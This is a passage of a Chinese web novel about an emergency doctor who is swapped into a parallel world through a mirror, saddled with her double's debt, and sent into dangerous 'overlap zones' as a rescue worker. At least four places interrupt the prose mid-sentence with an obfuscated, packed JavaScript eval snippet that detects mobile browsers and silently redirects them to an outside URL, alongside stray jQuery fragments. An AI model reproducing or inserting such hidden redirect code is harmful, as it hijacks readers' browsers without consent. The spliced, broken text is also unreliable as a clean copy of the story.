《点击开始救死扶伤》 1. 镜中人 清晨,6点半的闹钟刚响起两秒,就被一只手精准地按掉。 程昭条件反射般从床上弹起来,顶着一头乱糟糟的齐肩发和一双没睁开的眼睛,凭借对房子的熟悉程度,梦游般晃进了卫生间。 站在镜子面前,挤上超市特价促销的白绿色薄荷味牙膏,她仍处于迷蒙状态中,眼睛只能勉强眯起一条缝。 昨天睡前只吃了一颗思诺思,果然睡不踏实,或许今天得去医院再配点别的。 有的药倒是效果还可以,就是吃了第二天头痛,非常影响上班。 毕竟她是在争分夺秒的医院急诊科上班,可不能随便掉链子。 镜子里的女人含了一大口水,腮帮子被撑得鼓鼓的。 程昭低头看看自己空的白色牙杯,她刚挤上牙膏,连水龙头都还没拧开。 面前镜子里的人已经漱完口,嘴边一圈白色泡沫,她打开水龙头,用手拢着水泼在脸上。 或者程昭也该这么做,凉水的冲击能最快带来早晨的清醒。 不过她没这么做,只是愣愣看着镜子入了迷。 这种镜子里有另一个自己的幻觉是一个月前开始出现的,那次她整整两周没睡上一个整觉,勉强入眠也会被熟悉的噩梦压得透不过气来,神经衰弱到仿佛丧尸。 于是那天她一口气吃了四种不同的安眠药,效果不错,人是直接倒头栽过去的。 睡得那叫一个不知天地为何物。 醒来以后到卫生间洗了把脸,一抬头,发现药下得太猛,副作用也很猛。 镜子里的人,明明跟她长得一模一样,但好像不是她。 怎么形容呢,就是半夜跟镜子里的自己玩石头剪子布,能连输10局那种情况。 精神卫生科的顾主任让她停药一周,等药物代谢掉了就会好转的。 一周后程昭顶着两个硕大的黑眼圈,看着镜子里神清气爽面色红润的自己,深深叹了口气。 好在这个幻觉只在自家卫生间的镜子里出现,除了冷不防被吓一跳外,不影响工作和日常生活。 她也想过,没准换个房子租就会好,但找了两天,不是太远就是太贵,不然就是合租房,她睡眠本来就差,跟人合租更睡不了了。 于是也就这么凑合过着,人的适应能力到底是强,现在她已经对镜子里的人习以为常。 甚至有时还会饶有兴趣地观察镜中人的生活。 她似乎格外钟情一款粉色的牙膏,用完了一支又开了一支同样的。 不过也可能是买一送一促销? 程昭把镜子里的人当作自己潜意识的投射,这么说来,难道自己其实喜欢粉色吗? 她给牙杯接上大半杯水,含了口水,开始刷牙。 镜子里的人已经洗干净了脸,但并没有离开镜子,而是一动不动站着,定定地看着程昭。 两张一模一样的脸以镜子为媒介,同样的眼睛一眨不眨地盯着对方。 程昭觉得今天镜子里的自己似乎与往常不同。 镜中人又拿起了牙刷。 什么情况,你刚才刷过了啊,不会也是没睡醒吧?程昭很想提醒她,不过镜子里的人肯定听不到她说话。 她右手平握着牙刷,牙刷尾端朝着自己,举到面前。 看着她的动作,程昭莫名心悸。 她手背上青筋暴起,猛地把牙刷锥形的尾端狠狠插进了左眼里,牙刷柄没入半截,红白碎渣飞溅到镜面上。 一时间,血流如注,半张脸顷刻间就被染红。 程昭瞳孔骤缩,嘴里的水呛进了气管,她扶着洗手盆,剧烈咳嗽起来,仿佛五脏六腑都要从喉咙里咳出来。 虽然知道只是幻觉,但她还是把手贴在镜子上,恨不得钻进去,给镜中的自己做急救。 镜中的程昭也把手指放在了镜子上,不同的是,她用指尖蘸取了眼眶中流出的殷红鲜血,点在镜子上涂抹。 随着她手指的移动,镜子上出现了很多小圈圈组成的一个大大的正圆。 这是什么意思?程昭看着这个图案,不明所以。 血红的圆首尾相接,线条由相连接的椭圆组成,看起来像一条卷成圈的蚯蚓,程昭本能地觉得有点恶心。 圆心刚好在程昭手掌心,镜中人的最后一笔点在圆的正中心。 程昭感觉自己的掌心,也像被戳了一下,有微微刺麻感,像是一道电流从镜子的另一面传导过来。 这种感觉太真实了,程昭心里发毛,想逃离这里,手却被镜面牢牢吸住,动弹不得。 四周突然有黑幕降下,什么都看不见了。 一阵天旋地转后,光明重临。 程昭看着镜子,那些血淋淋的画面都消失不见,只剩一面普通的镜子,上面还有一些水渍。 她伸出手,试探性地摸上镜子。 镜子里的人跟她动作一致,不差分毫,跟她的手掌完全贴合。 掌下除了镜面传来的冰冷感,再无其他异常。 难道这就是物极必反?幻觉到达一定程度爆发后反而自愈了? 程昭有点高兴,但下一秒她就笑不出来了。 洗漱台上静静躺着一支粉色包装的牙膏,旁边是一个蓝色的牙杯。 这不是她的卫生间。 程昭环顾四周,卫生间的格局跟她租的房子一模一样,但毛巾、护肤品、洗浴用品都跟她的不同。 她没敢在这个诡异的地方多待,跑出了卫生间。 客厅多出来的单人沙发,玄关入口处的挂历,厨房里的银色冰箱……不一样,都不一样,这不是她的房子,这是镜中的世界! 程昭狠狠掐了自己一把,剧烈的疼痛传来,她不是在做梦。 她把房子搜了个遍,这只是间50多平的一室一厅,很简单就能翻完。 冰箱空空如也,衣柜里的衣服不多,都是基本款,跟她的品味倒是差不多。 床头柜上放着手机,面容识别就能打开。 手机跟她的是同款,显示日期是同一天,社交软件里的消息很少,似乎手机主人没什么朋友,能看到的只有工作消息,DD里的单位跟她也一样,是七一医院急诊科,工作群里发的排班表上显示今天是程昭值班。 要说有什么值得注意的话,大概就是门口的挂历被人用红笔圈出了两个日子。 一个是今天。 另一个就是开始出现“镜中幻觉”的那天。 细看发现,更早的那个日子旁边粘着一个小纸片。 程昭小心地取下来,纸片材质有点硬,正面是白底,撕开的边缘有个红色的弧形,背面是蓝底金色的,只有很小的一角,看不出是什么图案。 这种光面的手感很熟悉,这是一张扑克牌,还是一张红桃。 她握着手机在床边坐下,闭上了眼睛。 这个早晨发生的事情太突然了,她需要静下心来好好梳理一下。 首先可以排除的是幻觉。 其实从一开始来说,药物引起的幻觉就很不典型,很少见这种仅仅局限在镜子,其他地方都完全正常的幻觉。 她现在所处的房子,明显是另一个跟她相似又不同的人的居住环境,这不是幻觉能模拟出来的。 比较大的可能是,她穿越了。 而且这个穿越,很有可能不是偶然。 程昭的脑海里又浮现出那个镜面上的红色线圈圆,虽然看起来就像是乱画的,但她记得镜中人的表情,左眼眶里鲜血汩汩往外冒,右眼却坚定专注地盯着镜子,像是要完成什么任务一样。 挂历上特意圈出的日期,仿佛这一个月都在谋划这件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“搜个屁,我要报警了!” 西装男不为所动,甚至朝她伸出手来。 程昭掏出手机就要拨打110。 “没少,放她走吧。”身后传来声音。 “你数清楚了?” “三支,一支不少,跟失窃的数量对得上。”程昭转头看去,后面也有两个同样装扮的西装男,一人用膝盖压着刚才那个兜帽男,他脸被挤在地上,嘴角渗出血来。 他们到底是什么人?要说便衣警察抓捕犯人的话,也没道理四个人穿得一模一样吧。 倒更像是□□。程昭把手机捏得更紧。 说话的西装男展开布包给同伴看了一眼,程昭瞄到里面是1ml的安瓿瓶,瓶里红色的液体在晃动。 面前的西装男越过程昭,挡住了她的视线,语气高傲:“行了,你走吧。” 程昭憋了一肚子火,但一看时间已经7点51了,也不跟他们计较,扫了自行车,骑上就跑,脚踏都快踩出火星子了。 踩着早8的点,程昭冲进急诊,迎面就遇上了急诊主任杨美兰。 “对不起杨主任,我下次肯定不会迟到了!” 预想中的严厉批评没有出现,杨美兰的话让她大吃一惊:“咦,你不是我们世界的程昭吧?” “啊?!”她穿着原主的衣服,顶着跟原主一模一样的脸,这就被戳穿了? 难道原主从来不迟到吗? 杨美兰表情严肃:“你是左脚先跨进医院的。其他世界穿越来的吧,去行政楼五层人事科报备去。” 2. 外地人 人事科办公室的真皮沙发上,程昭如坐针毡。 面前的茶几上放着一份新鲜热乎、还带着油墨气味的空白劳动合同,单位名称那栏写着——救人一命胜造七级浮屠医院。 程昭才发现自己看错了医院名字,以为原主工作的医院跟自己一样,都是本地的老牌军医医院七一医院,没想到匆匆一眼,看花了字,居然是一七医院。 而医院的全名,是这么一长串玩意儿。 她对面的人事科科长薛梅正在滔滔不绝:“我们医院福利很好的,官方背景,享公务员待遇,工作轻松,氛围愉快,还附赠高额人身意外险……” 哈哈,还官方背景呢?会叫这种名字的,能是什么正经医院?连莆田系都不兴这么取名字! 程昭一副生无可恋的表情。 她怎么也没想到,在这个世界,穿越居然不是件罕见的事,甚至她工作的这家医院本身,就是为了处理这类事件而创立的。 可以说是正正好撞枪口上了。 虽然程昭是第一次穿越,但她好歹也是看过些小说的,人家都是顶替了原主的身份,混得风生水起,结果她才刚来第一天,就被人看透了。 一进人事科,薛梅就例行公事般给她介绍:“杨主任已经跟我说过了,你不用紧张。首先,平行世界是真实存在的。我们把单个平行世界叫做‘泡世界’。就像肥皂泡会跟别的泡泡贴在一起一样,当两个泡世界相交时,就有可能出现时空重叠。时空重叠时会有概率发生你这种情况,他泡世界的你,把本泡世界的你,给替换了。” “等会儿,你说有概率,所以这是随机的?” “对啊,时空运动的轨迹各自不同,当然是随机发生重叠的。” 程昭想到镜子上的血红图案,还有日历上圈出的日期,她可不觉得这一切能用巧合来形容。 “不能人为吗?” 薛梅语气温和,眼神却掩盖不住轻蔑的笑意:“会有这种疑问,是很常见的。可能你还不能理解什么是泡世界。依照目前的科技水平,掌控泡世界的运动轨迹是不可能的,我们世界最先进的科研团队都只能预测概率,而无法操控。” 有人可以,比如原本的程昭。 程昭嘴唇蠕动了几下,还是把这句话咽了回去。 她有种感觉,人为操控时空重叠是件惊天动地的大事,而这样一件事绝对不适合在此刻说出来。 程昭转而问了另一个问题:“那我有什么办法回去吗?” 这问题把薛梅逗得咯咯直乐:“回去?你都离开重叠域了还怎么回去?时空交汇是随机的,空间科学家测算到的泡世界总数在10的12次方以上,要找到你原本的那个泡世界,简直是天方夜谭。” 果然,薛梅坚定地认为这一切都是随机的,看来要回去还得她自己想办法才行。 “既然来这儿了,就继续上班吧。来,签合同吧。”空白的制式合同放在她面前,一只水笔被塞到了她手里。 “等一下,”程昭没顺着薛梅的意思做,“你刚才说,你们医院要负责处理时空重叠造成异常的病人?” “对呀,所以我们医院的福利待遇可是远超普通医院的哦~” “可是什么时空重叠乱七八糟的,我也不会啊……” 程昭可不想卷进什么麻烦事里,她只想赶紧试验出回去的方法。 “没问题的,你有医学基础,完成泡世界不良事件处理培训以后就能上岗了。” “什么是泡世界不良事件……” “哎呀,这些你都不用管,到时候就知道啦,很简单的,有手就行。” “我不行……” “你行……” “我真不行……” “你肯定行……” 拉扯了几个回合后,程昭终于品出点不对味来,“你是不是非要我签这个啊?” “这个嘛,其实是因为……你上个月向医院借了三百万,这钱得还啊,那借条还在财务科呢!” 程昭立马跳了起来:“什么我借的,我才来第一天啊!” “哎呀,就是上一个程昭嘛……” 程昭炸毛:“她借的钱关我什么事?!” “不管,根据《债义法》,你自动继承这笔债务了。” “什么狗屁法啊,钱又不在我手上!” “《我债我偿天经地义法》规定了,外地人自动继承本地人的债务,这也是为了维护社会秩序稳定……” “什么外地人本地人,你在坑我吧!”程昭激动地站了起来。 薛梅不复刚才亲切和蔼的样子,一副公事公办的语气:“要么签合同继续工作,要么把钱还了,不然——” 程昭大喘着气,有些站不稳,不知道她会拿出什么手段来对付自己。 “——你休想把暂住证办下来!” 程昭沉默了,甚至还有点想笑。 “怎么,你觉得无关痛痒?” 薛梅冷笑,“泡世界的原公民才有身份证,俗称本地人,你这种他泡世界来的人,被称为外地人,没有身份证,只能在工作单位的担保下办理暂住证,不然就是黑户。在我们这里,黑户是没有正经工作可以做的。 也不要妄想拿原来的程昭身份去找工作,从发现你是外地人的那一刻,我就已经上报数据联网了。” 扯,太扯了! 她早上可是搜索过一遍家里的,原主过得比她还艰苦朴素,根本没有任何值钱的东西,手机显示的银行卡余额只有小数点后两位,连冰箱都是空无一物…… 等一下! 电光火石间,程昭脑海里突然闪过一个想法。 一个月前,那不就是她第一次出现幻觉的时候? 所以会不会原主从那时就策划好了时空重叠,借了一大笔钱跑路到她的世界,然后把她搞来这里继承债务! 黑,真特么黑啊! 她从未见过如此厚颜无耻之人! 而这样的恶毒卑鄙小人,居然也是程昭! 她此刻只想仰天长啸。 “这样吧,”见程昭面如土色,薛梅正了正神色,仿佛是做了个很重大的决定,“如果你愿意去120的话,只要干满一年,欠医院的三百万就当一笔勾销了。怎么样,很划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“今天先带你熟悉一下120的大概流程,明天开始培训。” “哦。”程昭跟着她坐行政楼的电梯到最地面层,穿过一条走廊,来到了医院后门旁的一幢三层小楼。 “120值班室和办公室都在这里,一楼有个24小时营业的小食堂,半夜出车回来的话可以去吃。等我把员工信息录入之后,你刷脸就能吃,值班期间吃饭都不要钱……” 程昭没吃早饭就紧赶慢赶来了医院,此时只觉肚子空空。光是站在一楼外面,都能隐隐约约闻到食堂窗口传来的饭菜香味,馋得她斯哈斯哈的。 要不是今天不值班,只是来走一圈,她高低得大吃一顿。 进了小楼里面,她跟着薛梅刚走上两级台阶,就听到“呜啊呜啊”的铃声,紧接着就是一阵急促的脚步声。 有两三个人从楼上飞速冲下来。 薛梅和程昭都识趣地贴着楼梯墙面,侧身避让。 等那伙穿着荧光绿急救制服的人从她们面前匆匆跑过,薛梅转头,“二楼就是值班室,我们……” 见鬼了,程昭人呢?怎么眨眼间就不见了? 程昭也觉得见鬼了,她明明在很有礼貌地避让啊,咋突然就被人给薅走了呢?! 3. **箱 程昭压根没反应过来发生了什么,就出现在了救护车里。 前排司机一脚油门猛冲出去,程昭坐在急救车的病床上,没系安全带,一头往后栽去。 好在她脑袋要撞上后车门的前一刻,被人一把拽了回来。 程昭捂着胸口,惊魂未定:“什么情况?你谁啊?” 戴着金边眼镜的急救医生慢条斯理地掏出一面小镜子,对着镜面整理自己蓬松的短发,“我叫蒋裕,你不是来跟车的实习生吗?第一次出车别紧张,哥会教你的……” 程昭额角挂下三道黑线:“我不是。” 他放下镜子,转向程昭,看清她脸的那一瞬间吓得在座位上弹了一下:“程程程程昭?!你怎么在我车上?” 程昭整张脸都黑了:“大哥,能不能不要演了,我刚站得好好的,是你给我薅上来的啊!” “不是,我听站长说120要多个新人呢……搞错了搞错了……”蒋裕双手合十,连连作揖。 “额,那好像,可能,或许真的是我……”程昭擦了擦脑门的汗。 “啊?” 不仅是他面露讶异,连前排的司机都转过来看她。 “开玩笑吧,你都去急诊了怎么还回120啊?” 程昭敏锐地从他话里发现了些端倪:“怎么,120不好吗?” “额……”他突然支吾起来,“也还好啦……就是要出外勤,不过奖金是比急诊要高啦……” 听到这话,程昭倒是放下心来,只要待遇好就行。 “不过你怎么会问这个……”蒋裕皱着眉头喃喃自语,盯着她的脸思索几秒后倏地瞪大眼睛,“靠啊,你外地人?!” 这话怎么听着跟骂人似的。 程昭不爽地点了点头。 “淦!”他右手捶膝,骂了一句,“我就知道会有这么一天,老子这个月干完就要转急诊去,说什么也不待了!” “……所以120是个大坑?” 该死的,她就知道薛梅没安好心! “你知道我们120是干嘛的吗?” 程昭眼神清澈地摇了摇头,肯定跟她原本世界的120有点区别,不然他也不会如此激动了。 他叹了口气:“我们的工作地点在重叠域,要进去把本地人带出来。重叠域是两个泡世界相交的地方,会发生一些……奇怪的事。” “奇怪的事?” “你可以把重叠域当作一个独立的空间,会出现另一个泡世界东西,或者被另一个泡世界的规则制约,所以还是有点危险的……哦,对了,还有人!” “人?” “有的重叠域里会有很多人,但真正的本地人很少,大多数都是另一个世界的人,这个很难分辨,如果信错了人,可能会把你害死。” 程昭倒吸一口冷气,“这么邪乎,那我不要去了!司机师傅,开下门,我自己打车回去好了。” “走不了咧,都快到啦。”司机对着后视镜冲她憨厚一笑。 程昭透过前面的车窗看,这才发现不知何时起救护车没有开在马路上了,而是在一个灰色混沌的漩涡里前进,漩涡中央隐约有一点光亮。 “你也别太担心,这次任务级别不高,是个四级事件,就当是出来玩呗。” “你别蒙我啊……”程昭看出来了,她这是上了贼船了,只能生无可恋地瘫在病床上。 “喏。” 一个半透明的环状物体递了过来。 程昭不明所以地接过,在蒋裕的示意下戴上了左手腕。 “车里备用的工作手环,你先用着。” 程昭翻转手腕,半透明的背景上亮起了一个湛蓝色的方形图标,四角圆润,中间是镂空的单蛇杖花纹。 下方一行白字—— “点击开始救死扶伤” 上一秒还陷在悲伤里的程昭笑出了声:“谁起的名啊,这也太中二了!” “先泡科技,多亏他们研制的这个可穿戴式移动工作站,不受时空限制。这玩意儿没出来的时候,进了域全靠抓瞎呢。来吧,你先登录,我教你怎么用。” 程昭食指轻触那个蓝色图标,蓝色如水波般散开,又从周围聚拢,汇合成一个眼睛的形状。 这个简笔画的蓝色线条眼睛冲她眨了眨眼。 蒋裕把她手臂抬起来,跟视线持平,“虹膜识别的。” 话音未落,系统就已经完成了识别,手环屏幕上的蓝色线条再次变化,分散成了三个小圈,成三角排列,顶端那个小圈还是蓝色,底边的两个小圈分别变成了红色和黄色。 “先点红的,确认下个人信息。” 程昭点进去,屏幕上浮现出几行字: 【姓名】程昭 【工号】空(临时访问账号) 【业务量】0 【积分】0 蒋裕悄咪咪凑上来看,大失所望地摇摇头,“可惜啊,你没有继承原来程昭的账号,她那儿起码有几十万的积分呢……” 程昭好奇道:“积分能干嘛呢?” “晋升,评职称,年底评优……最重要的是跟奖金挂钩呢。” “哇,那程昭,岂不是奖金很高?” “当然啦!” 所以到底为什么会一穷二白还负债啊!真的去赌博了是吗?!程昭觉得这个最糟糕的负债原因越来越有可能了。 “进工作界面吧,就最顶上蓝的那个。” 工作界面也有几行字。 【待接收任务】:1 【进行中任务】:0 【已完成任务】:0 待接收任务那里还有一个醒目的红点,作为不点不舒服星人的程昭,不用蒋裕提醒,就直接点了上去。 【任务已接收】 【任务编号】20250623001 【地点】私立欣格医院 【患者人数】0/2 【倒计时】09:55:48 任务信息里别的倒还能理解,只是—— “怎么还有个倒计时?” “这个是根据时空能量扰动测算出来的重叠域稳定态时间,换句话说,超过这个时间,两个泡世界就要分离了,分离时的能量熵很大,运气不好的话会掉下去。” “掉哪儿去?” “另一个泡世界呗,你算运气好的,我们这里对待外来人员很友好,只要不作恶,跟本地人待遇是一样的。但不是每个泡世界都这么友善的,要是掉到对外来人有恶意的泡世界,那你会死得很惨的。” “如果超过这个时间,没找到患者,会怎么样?” “患者要么掉到另一个泡世界去,要么就会留下后遗症,急诊都是看这种病的。有些重叠域的存在时间很短,可能只是擦身而过,就足以在人体上留下影响了。这也是急救人员在120不能多待的原因,前辈都说在重叠域待多了影响自身磁场,容易被别的泡世界吸走,我估计程昭就是这么没的……” 程昭翻了个白眼,原主可是自己想方设法跑到别的世界去,把她给坑过来还债了。 “进域以后随时注意时间,时间快到了即使没找到患者,也要准备出来了。” “没找到患者也没关系吗?” “你自己的命最重要,记住了吗?” 程昭点点头。 她见手环界面还剩一个黄色小圈,问道:“剩下这个是什么?” 她点了一下黄色小圈,没有跳出新的界面,反而圆圈变成了灰色。 “这是绑定急救箱的。”蒋裕解释道,“你没登上原来程昭的账号,就没有箱子。等我们从重叠域里回来,你可以去后勤领个新的。” “……那这玩意儿对我来说,也就是看个时间?” “没错,这个时间很重要……” “等一下,”司机突然出声打断,“我怎么好像记得车里是有个备用箱子的。” 蒋裕一拍脑袋,“还真是,我怎么给忘了!” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805364|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俯下身,手伸到移动救护床下面,掏了半天,终于扒拉出来一个蒙着层厚灰的箱子,递给程昭的时候动作大了点,扬起的灰尘让她打了好几个喷嚏,更是把灰尘喷得车里到处都是,看人都雾蒙蒙的,仿佛叠了一层磨砂滤镜。 司机大哥骂道:“个瓜皮!不造擦擦再拿出来啊!搞得啷个车里都是咯……” “咳咳,忘了忘了,”蒋裕拿袖子随便抹了抹,露出箱子深蓝色的底色,荧光绿的袖子没两下就黑灰一片。 程昭有点洁癖,看这样子难受极了:“你衣服——” “没事,”蒋裕满不在乎地笑笑,“进域以后就变了,来,你拿着。” 程昭没接,表情迟疑:“这箱子看着有些年头了,里面的药估计都过期了吧……” 可别要用的时候一打开,发现都是过期两年半的药,到时候她是用还是不用呢? 不用吧,可能人就死了;用吧,可能人死得更快了。 蒋裕摆摆手,把箱子往她怀里一塞,把她的衣服也蹭得脏兮兮的,程昭眉头一皱,撇开了头。 “问题不大,别看有点灰,不影响用的。这是老款了,防尘功能不太好,新款急救箱就改进了,大不了你这趟回来以后再去后勤领个新的。” 他看程昭一副嫌弃的样子,又补了一句:“别看款式老,耐用着呢,改进以后就是花架子,大家都说还是老款好呢!” 司机也来帮腔:“老归老,味道好啊!” 程昭见他俩这热切推销的样子,没好气道:“东西这么好,那我跟你换啊。” 蒋裕立马头摇得跟拨浪鼓似的:“不行不行,我的箱子已经绑定了,没法换。有总比没有强,你把箱子绑定一下,看到这个图标没有,你拿手环碰一下这里。” 来都来了,有点是点。 一般人说到这个份上,你就很难拒绝了。 程昭很勉强地接下了箱子,按他说的步骤照做,手环界面上黄色小圈重新亮起,点进去跳出来弹框。 “识别到**箱,是否绑定?” 怎么还带屏蔽词的啊? 这个疑问在程昭脑海一闪而过,但她没放在心上。 下面两个选项,一个勾,一个叉,程昭果断点了勾。 点完的下一刻,那个箱子就奇迹般地消失了。 还不等她问,蒋裕就解释道:“域里情况未知,直接拎个箱子进去太显眼了,收到手环里方便拿取。” “这算什么?随身空间?” 程昭眼睛一亮,真是高科技啊。 “不一样,你可以理解为,呃,急救箱被数据化了,要用的时候再通过手环程序复原,不是真的有一个空间。” 程昭似懂非懂地点点头,看来要摸清这些东西怎么用,还得进去以后自己试试看。 蒋裕递给她一套荧光绿的制服,“快换上吧,要进域了,急救制服有保护作用,进去以后会自动拟态成合适的服装,千万不要脱下来!” 程昭再次感叹这个泡世界的科技水平,随着她把衣服换好,一栋装修气派但外观有些破旧的医院楼就出现在了救护车前面。 “咦,别的医院出事也打你们120啊,他们自己不能解决吗?” 蒋裕眉头蹙起,脸色凝重:“这是一家废弃的医院,如果我没记错,两年前因为医疗事故被查封后,再没有再开业了。” 程昭一愣:“那怎么……会有人在里面?” 蒋裕抿了抿嘴:“未必是什么正常人,进去以后小心,尽量跟紧我。记住,出来的时候要朝救护车的方向走,不然很可能就迷失到另一个泡世界去了。” 程昭点点头,跟他一起推开了欣格医院沉重的玻璃大门。 进域的感觉很特别,像是跌入水中,又被捞起。 那一刹那,有短暂的窒息感。 怪不得他们不喜欢出120。 睁眼看到熟悉的白绿调房间时,程昭感到一阵晕眩心悸。 怎么会是这儿? 4. 手术室请安静01 十二轮环形灯管组成的无影灯照射在头顶,身旁L型展开的不锈钢器械台泛着冰冷的金属光泽,心电监护仪屏幕上跳动着红绿曲线…… 怎么突然就到手术室了?刚不还在大门口吗,这里是有什么传送门吗? 她还在愣神中,突然小腿被人轻踢了一脚。 转头一看,巡回护士正指着托盘上的刀片。 程昭这才意识到现在的处境,她正在一场手术中,而且看这站位和周围的人,恐怕她还是一助。 手术间里算上她总共6个人,一个躺在手术台上的患者,一个站在对面抱胸盯着她的主刀,一个坐在监护前看手机的麻醉师,还有巡回护士和器械护士。 很标准的手术配置,可惜她不是一个标准的一助。 虽然大家在手术室里都是口罩帽子包得严严实实的,不过她能认出,这里没有一双眼睛属于蒋裕。 “被其他泡世界的人发现你是异类的话,是很危险的哦。” “要假装自己是他们的一员,融入进去。” “一定要谨慎小心,注意观察四周。” …… 进域之前,蒋裕叮嘱了她一大堆注意事项,进域以后才发现,想是一回事,做又是另一回事了。 光是控制握着手术刀柄的左手不要颤抖,对她来说都是一件非常困难的事。 当年那件事发生以后,她只进过手术室一次。那次手术,作为一助的她在器械准备阶段装刀片,右手握着止血钳夹持锋利的手术刀片往刀柄上卡。 第一次,刀片没卡进槽,滑出去掉到地上,她小声道歉,巡回护士安慰她没关系,偶尔失手很正常,给她打了一个新刀片。 第二次,她手握得很紧,夹着刀片怼着卡槽使劲往里按,刀片直接崩成了两半,带刃的那侧擦着她脸颊飞过,把大家都吓了一跳。主刀确认她没受伤以后,松了口气,故作轻松地打趣道:“小程啊,悠着点,集采的耗材可经不起这么大力哟~” 程昭脸色发白,点了点头,没有说话,因为她有预感,一旦开口,恐怕会紧张得连话都说不清楚。 最后一次夹的时候她手抖得厉害,连止血钳都拿不稳,摔在了地上。金属器械砸在地上的声音很清脆,整个手术室里的人都转过来盯着她,外科口罩遮住下半张脸,每个人脸上都只露出眼睛。一双双无声的眼睛将她包围,比起责备,眼神里更多的是怜悯。主刀没有训斥她,只是叫她回科室去,把师兄叫下来跟台。 他那时的语气淡漠,就像在宣告癌症晚期的患者已无药可救。 自那以后,她就再没上过手术台了。 而这一次,比上次的压力更大。 口罩下的她深呼吸好几次,才用止血钳夹起刀片,对上刀柄的卡槽。 第一次滑开的时候,程昭心头重重一跳。 第二次又错开时,她心虚地瞟了一眼主刀,对方眼里隐隐有怒气在积累。 到第三次情景重演时,她已经佛系了,爱咋滴咋滴吧,她就是对手术台有阴影,就是没法做手术,这不是换个环境就能好的。 不然她一个神经外科医生,也不至于去干急诊。 她抬起头,只见主刀眉头紧锁,他早就不耐烦了,走过来打算自己装刀片。 程昭赶紧给他让开位置,一般来说这种情况下主刀总要骂两句的,不过他倒是什么都没说,让程昭暗自庆幸逃过一劫。 她总算有空好好观察一下周围,手术室里的布置跟她原本医院差不太多,就是墙上的电子钟好像坏了一半,只有后半段的分钟显示,没有前半段。 咦,这个电子钟的数字,怎么不按顺序啊。 刚才还是13,现在怎么还跳回11了,不对,在刀片卡进去的一刻,甚至跳到了20。 程昭突然灵光一闪,这不是什么坏了一半的电子钟,这是一个分贝仪! 什么奇怪的医院啊,居然在手术室安装分贝仪,难道是什么莫名其妙的环保要求,还是应付6S检查? 想不明白,她也识趣地不去问,眼神在手术间里飘忽。 程昭眼睛余光突然瞄到,手术台上被大单盖住的病人身体,好像动了一下? 她不确定自己是不是眼花了,又盯着那处大单看了几秒,布料确实有抖动,病人的手几乎要从大单下伸出来了。 糟糕,麻药量不够啊,程昭正转过身要提醒麻醉师。 “哐当——” 一声巨响突然在手术间炸开,器械台被打翻,闪着寒光的器械洒了一地。 病人从手术台上猛地坐了起来。 “我不要做——唔唔!” 她话还没说完,就被巡回护士死死捂住了嘴,用力之大,病人的脸上都被手指掐得发红。 程昭愣住了,这都行?不怕转头吃个大投诉啊? 紧接着她就发现,除了她和病人以外,其余人的注意力都在分贝仪上。 刚才器械台打翻时她瞥了一眼,似乎是跳到了80多,现在正在30左右跳动。 因为那个患者还在很不安分地挣扎着,一直发出呜呜声。 程昭有种很不安的感觉,虽然除了器械掉了一地,也没发生什么事,可是很明显,这里原本的医护们,都精神紧绷着。 似乎是有什么大事要发生了。 在她看不到的手术间墙角,一团红色的丝线状物顺着墙角攀爬,像有生命般逐渐拉长,并在沿途生出许多细小的分支。 随着红线继续往前越拉越长,后面的红线变得很细,如蛛丝般藕断丝连,但它前进的势头丝毫未减,顺着仪器架子的金属腿向上生长,绕过监护仪,来到了麻醉师的背后。 麻醉师此刻跟其他人一样,都在紧张地盯着分贝仪,全然没有意识到背后已经张开了一张血红色的大网。 “啊!”分贝仪突然跳到68,大家闻声转头看去,见到了骇人的一幕。 麻醉师的脸上被密密麻麻的红色丝线缠绕,仿佛是人体上接了一个线团娃娃的头,有种说不出的诡异。 程昭离他最近,所以看得最清楚,那些“红线”甚至还在蠕动,像是汲取到了养分,在逐渐变粗,有从“丝线”向“毛线”发展的趋势。 而那个麻醉师的身体正在以肉眼可见的速度干瘪下去,脖子上青筋暴起,手臂都凹陷了下去,形如枯槁。 她汗毛倒立,拔腿就往手术间外跑。 妈呀,早知道重叠域这么可怕,她哪怕当个黑户也不来120了! 她这一跑,其他人也反应过来,着急忙慌地往外跑。 主刀医生人高马大,步子迈得最快,三两下就跑到了程昭前面,还不知是有意无意地撞了一把程昭。 程昭跑得急,被这么一冲,肩膀就撞到了墙壁,疼得她呲牙咧嘴的。 捂着肩膀时看到墙角蔓延的红色丝线,她立马弹开了,离墙壁远远的。 一个护士跑的时候拽住了她的衣领,硬生生把她拖得摔倒在地上。 程昭跌坐在地上,震惊地看着护士的背影,这得是结了多大仇啊! 眼见着周围的红线如潮水般向她涌来,程昭绝望地闭上了眼睛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15805365|175118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 